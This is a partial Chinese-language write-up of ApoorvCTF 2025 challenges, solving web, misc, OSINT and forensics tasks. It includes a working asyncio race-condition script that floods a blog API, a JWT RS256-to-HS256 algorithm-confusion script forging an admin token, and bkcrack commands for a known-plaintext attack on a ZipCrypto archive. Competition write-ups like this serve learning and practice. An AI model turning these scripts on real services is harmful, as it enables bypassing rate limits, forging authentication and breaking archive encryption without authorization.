ApoorvCTF 2025 writeup【部分】
赛事信息
- 赛事描述:https://ctftime.org/event/2638
- 赛事网址:https://apoorvctf.iiitkottayam.ac.in/
- 时间:20250228, 23:30 — 20250302, 23:30
- 排名:70
- 吐槽:放了两波题,第一波难度适中,第二波题太难了。。
web
SEO CEO
根据题目提示,SEO,可能要和robots.txt和sitemap.xml有关,访问到robots.txt 给了一个假的flag,然后开始访问sitemap.xml,有一个提示路径
拿到新提示后,说要给url传递yes或no,猜测参数?flag=yes
flag:apoorvctf{s30_1snT_0pt1onaL}
Blog-1
考点:条件竞争,api猜测
首先随便注册一个账号登录后,根据提示,发5个文章送礼物,但是每天只能发一个
在尝试了jwt爆破、sql注入、dirsearch扫描、修改发送的请求体的date字段,都没拿到想要的东西后,猜测需要高并发发送addBlog接口拿flag
于是写一个脚本,使用python的异步请求高并发,多次尝试(由于网络环境和电脑的差异,不一定每次都成功)
import asyncio
import aiohttp
import concurrent.futures
from datetime import datetime, timedelta
import random
URL = "http://chals1.apoorvctf.xyz:5001/api/v1/blog/addBlog"
TOKEN = "YOUR_TOKEN"
MAX_WORKERS = 30 # 根据网络带宽调整(建议20-50)
def generate_dates():
"""生成随机日期池(避免连续日期触发限制)"""
base_date = datetime(2025, 3, 1)
return [
(base_date + timedelta(days=random.randint(0, 30))).isoformat() + "Z"
for _ in range(100)
]
async def async_flood(date):
"""异步请求核心函数"""
async with aiohttp.ClientSession(
connector=aiohttp.TCPConnector(limit=0),
headers={
"Authorization": f"Bearer {TOKEN}",
"Content-Type": "application/json",
"User-Agent": f"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/{random.randint(120,124)}.0.0.0 Safari/537.36"
}
) as session:
data = {
"title": f"Blog-{random.randint(1,10000)}",
"description": "Ultra Fast",
"visible": True,
"date": date
}
try:
async with session.post(
URL,
json=data,
ssl=False
) as resp:
return await resp.text()
except Exception as e:
return f"Error: {str(e)}"
def thread_flood(date_pool):
"""线程级洪水攻击"""
loop = asyncio.new_event_loop()
asyncio.set_event_loop(loop)
return loop.run_until_complete(asyncio.gather(
*[async_flood(date) for date in date_pool]
))
if __name__ == "__main__":
date_pool = generate_dates()
# 将日期池分成多个批次(每批次10个日期)
batch_size = 10
batches = [date_pool[i:i+batch_size] for i in range(0, len(date_pool), batch_size)]
with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
futures = [executor.submit(thread_flood, batch) for batch in batches]
for future in concurrent.futures.as_completed(futures):
results = future.result()
for date, resp in zip(date_pool, results):
if "successfully" in resp:
print(f"\033[32m[+] {date} Success\033[0m")
else:
continue
print(f"\033[31m[-] {date} Failed | {resp[:100]}\033[0m")
在发送了超过5次blog后,尝试拿到礼物,但是直接拿礼物会得到一个假的flag,是一个视频链接
进行了一波代码审计,发现其他api接口都是v1,但是gift接口是v2
将其改为v1版本,就拿到flag了,还是挺狗的
flag:apoorvctf{s1gm@_s1gm@_b0y}
Tan-je-ro
开局什么都没,先扫描一下字典路径,发现有三个路径:admin、login、public。可以访问它们
会拿到一个token,一个公钥,还有一个需要token才能访问的接口
到这里猜测又是jwt伪造之类的题,直接上exp,将rs256算法伪造为hs256算法,因为我们没私钥
import jwt
import requests
import base64
import re
public_key_pem = """-----BEGIN RSA PUBLIC KEY-----
MIIBCgKCAQEAwcMU3Y6CQyvA87vJRKZomubiceep9YlNdp6y95ICIZ3y7jV3oZyt
b1zfwFJ1p/pdTd7ckOOQVsP6/Y7g6gLa9S8YZmKzy7jU6EnV2XPnXTF287hXasup
OzLd4iAzRw12r9pIQ/Fjum8pQ2LzWEaAmuHfkm1o3C9i8ZsbfvZIw/tAB/qEfh34
dGoVvPsJawF44oEFkAQYlS40FmM1EkNzNmNPtKUXlRrr0be0PTCshUbX7VpGC0b1
9JKb/vB+KGye6yUjLwHKKUHZedHQFMMV9OayOwWSnP9J+9Tq77qyNSeBe6vy6uD1
XPm0mfmUYLJZKy0XqjHHxOB9DjKaecmMoQIDAQAB
-----END RSA PUBLIC KEY-----"""
public_key_b64 = re.sub(r"-----.*?-----|\s", "", public_key_pem)
public_key_bytes = base64.b64decode(public_key_b64)
headers = {"alg": "HS256", "typ": "JWT"}
payload = {
"admin": True,
"name": "Guest",
"iat": 1740846920
}
new_jwt = jwt.encode(payload, public_key_bytes, algorithm="HS256", headers=headers)
print("New JWT:", new_jwt)
这里卡住了,之后看看wp再复现吧
misc
Ghosted on the 14th
https://web.archive.org/
打开附件流量包,然后追踪流查看,发现一个对话,说写了一个blog,但删除了,流量包本身很简陋啥都没,所以考虑到网页存档馆
在网页存档馆搜索,http://172.200.32.81:8080,的历史网页,确实能找到之前有过记录
https://web.archive.org/web/20250214175543/http://172.200.32.81:8080/
打开这个记录,看到一个文章,但什么flag都看不到,点击查看网页源代码后发现一个base64后的字符串,解密后得到flag
flag: apoorctf{1m_g01ng_1n5an3}
osint
I Love Japan: Identity Game
给了一个图片,直接google用图搜索建筑,发现一个高度相似的建筑,点进去看一下是东京铁塔的Diamond Mirror,设计者是kaz_shirane,由于题目给了提示是真名,而不是username/nickname,所以直接google搜真名就出了
换成小写就是flag
flag :apoorvctf{masakazu_shirane}
forensics
Samurai’s Code
首先打开压缩包,发现压缩算法为ZipCrypto
,且有一个图片,图片png的默认头格式我们是知道的,所以很符合明文攻击的特征
利用工具bkcrack进行明文攻击,压缩包内的文件是png文件,所以尝试构造 png 头(取某个png图片的的前 16 个字节)
89504E470D0A1A0A0000000D49484452
bkcrack -C recipe.zip -c secret_recipe.png -p png -o 0
得到三个key,使用命令导出图片
bkcrack -C recipe.zip -c secret_recipe.png -k 7cfefd6a 4aedd214 970c7187 -d out.png
flag: apoorvctf{w0rst_r4m3n_3v3r_ong}